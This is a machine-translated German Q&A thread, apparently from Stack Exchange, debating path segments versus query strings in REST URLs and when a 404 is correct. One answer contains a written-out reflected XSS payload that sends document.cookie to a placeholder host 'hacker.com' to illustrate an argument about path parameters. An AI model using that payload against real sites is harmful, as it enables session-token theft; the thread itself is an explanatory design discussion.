Ich hatte heute eine Diskussion mit einem Kollegen über die Verwendung von Abfragezeichenfolgen in REST-URLs. Nehmen Sie diese 2 Beispiele:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
Mein Standpunkt war, dass die URLs wie in Beispiel 1 gestaltet sein sollten. Dies ist sauberer und das, was ich denke, ist in REST korrekt. In meinen Augen wäre es völlig richtig, einen 404-Fehler aus Beispiel 1 zurückzugeben, wenn der Produktcode nicht vorhanden wäre, während in Beispiel 2 die Rückgabe eines 404 falsch wäre, da die Seite vorhanden sein sollte. Seine Haltung war, dass es nicht wirklich wichtig war und dass beide dasselbe tun.
Da keiner von uns konkrete Beweise finden konnte (zugegebenermaßen war meine Suche nicht umfangreich), würde ich gerne die Meinung anderer dazu erfahren.
Antworten:
In typischen REST-APIs ist Beispiel 1 korrekter. Ressourcen werden als URI dargestellt und # 1 macht das mehr. Die Rückgabe eines 404, wenn der Produktcode nicht gefunden wird, ist absolut korrekt. Trotzdem würde ich # 1 leicht modifizieren, um ein bisschen ausdrucksvoller zu sein:
Schauen Sie sich andere gut gestaltete REST-APIs an - zum Beispiel StackOverflow. Du hast:
Dies sind alles verschiedene Möglichkeiten, um zu "Fragen" zu gelangen.
quelle
4xheaua
ist der Produkt - ID , dann würde ich besser gehen mitdomain/products/4xheaua
. Wenn Code nur eines von vielen Suchkriterien ist, würde ich stattdessen mit gehendomain/products?code=4xheaua
.Aus Sicht des Clients gibt es keinen Unterschied zwischen den beiden URIs. URIs sind für den Client undurchsichtig. Verwenden Sie die Karten, die sauberer in Ihre serverseitige Infrastruktur integriert sind.
Für REST gibt es absolut keinen Unterschied. Ich glaube, der Grund, warum so viele Menschen glauben, dass nur die Pfadkomponente die Ressource identifiziert, liegt in der folgenden Zeile in RFC 2396
Diese Zeile wurde später in RFC 3986 wie folgt geändert :
IMHO bedeutet dies, dass sowohl die Abfragezeichenfolge als auch das Pfadsegment bei der Identifizierung einer Ressource funktional gleichwertig sind.
Update, um Steves Kommentar zu adressieren.
Vergib mir, wenn ich gegen das Adjektiv "Reiniger" bin. Es ist einfach viel zu subjektiv. Sie haben jedoch den Punkt, dass ich einen wesentlichen Teil der Frage übersehen habe.
Ich denke, die Antwort auf die Frage, ob 404 zurückgegeben werden soll, hängt davon ab, welche Ressource abgerufen wird. Handelt es sich um eine Darstellung eines Suchergebnisses oder um eine Darstellung eines Produkts? Um dies zu wissen, müssen Sie sich wirklich die Linkbeziehung ansehen, die uns zur URL geführt hat.
Wenn die URL eine Produktdarstellung zurückgeben soll, sollte eine 404 zurückgegeben werden, wenn der Code nicht vorhanden ist. Wenn die URL ein Suchergebnis zurückgibt, sollte sie keine 404 zurückgeben.
Das Endergebnis ist, dass das Aussehen der URL nicht der bestimmende Faktor ist. Es ist jedoch üblich, dass Abfragezeichenfolgen verwendet werden, um Suchergebnisse zurückzugeben. Daher ist es intuitiver, diesen URL-Stil zu verwenden, wenn Sie keine 404s zurückgeben möchten.
quelle
Es gibt zwei Anwendungsfälle für GET
Anwendungsfall 1 Beispiel:
Anwendungsfall 2 Beispiel:
Wenn wir uns beispielsweise die Google Maps-API ansehen, sehen wir, dass sie eine Abfragezeichenfolge für die Suche verwenden.
zB http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
Beide Stile gelten also für ihre eigenen Anwendungsfälle.
quelle
IMO sollte die Pfadkomponente immer angeben, was Sie abrufen möchten. Eine URL wie http: // localhost / findbyproductcode sagt nur, dass ich etwas nach Produktcode abrufen möchte, aber was genau?
Sie rufen also Kontakte mit http: // localhost / Kontakte und Benutzer mit http: // localhost / users ab . Die Abfragezeichenfolge wird nur zum Abrufen einer Teilmenge einer solchen Liste basierend auf Ressourcenattributen verwendet. Die einzige Ausnahme ist, wenn diese Teilmenge basierend auf dem Primärschlüssel auf einen Datensatz reduziert wird und Sie so etwas wie http: // localhost / contact / [primary_key] verwenden.
Das ist mein Ansatz, Ihr Kilometerstand kann variieren :)
quelle
So wie ich es mir vorstelle, definiert der URI-Pfad die Ressource, während optionale Abfrageringe benutzerdefinierte Informationen liefern. Damit
identifiziert ein bestimmtes Produkt während
sucht möglicherweise nach Produkten unter 5 US-Dollar.
Ich bin nicht einverstanden mit denen, die sagten, dass die Verwendung von Querringen zur Identifizierung einer Ressource mit REST übereinstimmt. Ein großer Teil von REST besteht darin, eine API zu erstellen, die ein statisches hierarchisches Dateisystem imitiert (ohne ein solches System im Backend buchstäblich zu benötigen) - dies ermöglicht intuitive, semantische Ressourcenkennungen. Querystringe brechen diese Hierarchie. Zum Beispiel sind Uhren ein Zubehör, das Zubehör hat. Im REST-Stil ist ziemlich klar, was
und
jeweils beziehen sich auf. Mit Querystringen,
ist nicht sehr klar.
Zumindest ist der REST-Stil besser als Querystrings, da er ungefähr halb so viele Informationen erfordert, da wir durch die starke Reihenfolge der Parameter die Parameternamen weglassen können.
quelle
Das Ende dieser beiden URIs ist RESTfully nicht sehr bedeutsam.
Der Teil 'findbyproductcode' könnte jedoch sicherlich ruhiger sein. Warum nicht einfach http: // localhost / product / 4xxheau ?
Nach meiner begrenzten Erfahrung würde es sauber aussehen, wenn Sie einen eindeutigen Bezeichner haben, den URI wie ... / product / {id} zu konstruieren. Wenn der Produktcode jedoch nicht eindeutig ist, könnte ich ihn eher wie # 2 entwerfen.
Wie Darrel jedoch festgestellt hat, sollte es dem Kunden egal sein, wie die URI aussieht.
quelle
http://www.google.com/search/democracy
statthttp://www.google.com/search?q=democracy
... oder ist es nur unsere Gewohnheit?Diese Frage wird gestellt, was der sauberere Ansatz ist. Aber ich möchte mich auf einen anderen Aspekt konzentrieren, der Sicherheit. Als ich anfing, intensiv an der Anwendungssicherheit zu arbeiten, stellte ich fest, dass ein reflektierter XSS-Angriff erfolgreich verhindert werden kann, indem
PathParams
(Ansatz 1) anstelle vonQueryParams
(Ansatz 2) verwendet wird.(Voraussetzung für einen reflektierten XSS-Angriff ist natürlich, dass die böswilligen Benutzereingaben in der HTML-Quelle an den Client zurückgesendet werden. Leider wird dies von einigen Anwendungen ausgeführt, weshalb
PathParams
XSS-Angriffe möglicherweise verhindert werden.)Der Grund, warum dies funktioniert, ist, dass die XSS-Nutzdaten in Kombination mit
PathParams
aufgrund der Schrägstriche in den Nutzdaten selbst zu einem unbekannten, undefinierten URL-Pfad führen.http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
Während dieser Angriff mit einem
QueryParam
! Erfolgreich sein wird.quelle
Die Abfragezeichenfolge ist in vielerlei Hinsicht unvermeidbar. Überlegen Sie, was passieren würde, wenn die Suche mehrere (optionale) Felder für alle angegebenen Felder zulässt. In der ersten Form müssten ihre Positionen in der Hierarchie festgelegt und aufgefüllt werden ...
Stellen Sie sich vor, Sie codieren eine allgemeine SQL "where-Klausel" in diesem Format. Als Abfragezeichenfolge ist dies jedoch recht einfach.
quelle
Philosophisch gesehen "existieren" Seiten nicht. Wenn Sie Bücher oder Papiere in Ihr Bücherregal legen, bleiben sie dort. Sie haben eine eigene Existenz in diesem Regal. Eine Seite existiert jedoch nur, solange sie auf einem Computer gehostet wird, der eingeschaltet ist und sie bei Bedarf bereitstellen kann. Die Seite kann natürlich immer im laufenden Betrieb erstellt werden, sodass sie vor Ihrer Anfrage keine besondere Existenz haben muss.
Denken Sie jetzt aus der Sicht des Servers darüber nach. Nehmen wir an, es handelt sich beispielsweise um ordnungsgemäß konfigurierten Apache - nicht um einen einzeiligen Python-Server, der nur alle Anforderungen dem Dateisystem zuordnet. Dann hat der in der URL angegebene Pfad möglicherweise nichts mit dem Speicherort einer bestimmten Datei im Dateisystem zu tun. Wiederum "existiert" eine Seite also nicht in einem klaren Sinne. Vielleicht fordern Sie an
http://some.url/products/intel.html
, und Sie erhalten eine Seite; dann fragst duhttp://some.url/products/bigmac.html
und du siehst nichts. Dies bedeutet nicht, dass es eine Datei gibt, aber nicht die andere. Möglicherweise haben Sie keine Berechtigung, auf die andere Datei zuzugreifen, sodass der Server 404 zurückgibt oder möglicherweisebigmac.html
von einem Remote-Mc'Donalds-Server bedient werden sollte, der vorübergehend außer Betrieb ist.Was ich zu erklären versuche,
404
ist nur eine Zahl. Es ist nichts Besonderes daran: Es könnte40404
oder gewesen sein-2349.23847
wir haben gerade zugestimmt, es zu verwenden404
. Dies bedeutet, dass der Server vorhanden ist, mit Ihnen kommuniziert, wahrscheinlich verstanden hat, was Sie wollten, und dass er Ihnen nichts zurückgeben kann. Wenn Sie denken , dass es angemessen ist , zurückkehren404
zu ,http://some.url/products/bigmac.html
wenn der Server entscheidet , nicht die Datei aus irgendeinem Grunde zu dienen, dann könnten Sie auch zustimmen zurückzukehren404
fürhttp://some.url/products?id=bigmac
.Wenn Sie nun für Benutzer mit einem Browser hilfreich sein möchten, die versuchen, die URL manuell zu bearbeiten, können Sie sie auf eine Seite mit der Liste aller Produkte und einigen Suchfunktionen umleiten, anstatt ihnen nur ein
404
--- oder Sie zu geben kann einen404
als Code und einen Link zu allen Produkten geben. Aber dann können Sie dasselbe tunhttp://some.url/products/bigmac.html
: automatisch auf eine Seite mit allen Produkten umleiten.quelle
Für den REST-Client spielt die URI-Struktur keine Rolle, da sie Links folgt, die mit Semantik versehen sind, und den URI niemals analysiert.
Von dem Entwickler, der die Routing-Logik und die Link-Generierungslogik schreibt und wahrscheinlich das Protokoll durch Überprüfen der URLs verstehen möchte, spielt die URI-Struktur eine Rolle. Mit REST ordnen wir URIs Ressourcen und nicht Operationen zu - Fielding-Dissertation / einheitliche Schnittstelle / Identifizierung von Ressourcen .
Daher sind beide URI-Strukturen wahrscheinlich fehlerhaft, da sie Verben in ihrem aktuellen Format enthalten.
Sie können auf folgende Weise
find
aus den URIs entfernen :Aus REST-Sicht spielt es keine Rolle, welche Sie wählen.
Sie können Ihre eigene Namenskonvention definieren, zum Beispiel: "Durch Reduzieren der Sammlung auf eine einzelne Ressource unter Verwendung einer eindeutigen Kennung muss die eindeutige Kennung immer Teil des Pfads und nicht der Abfrage sein." Dies ist genau das, was der URI-Standard angibt: Der Pfad ist hierarchisch, die Abfrage ist nicht hierarchisch. Also würde ich verwenden
/products/code:4xxheua
.quelle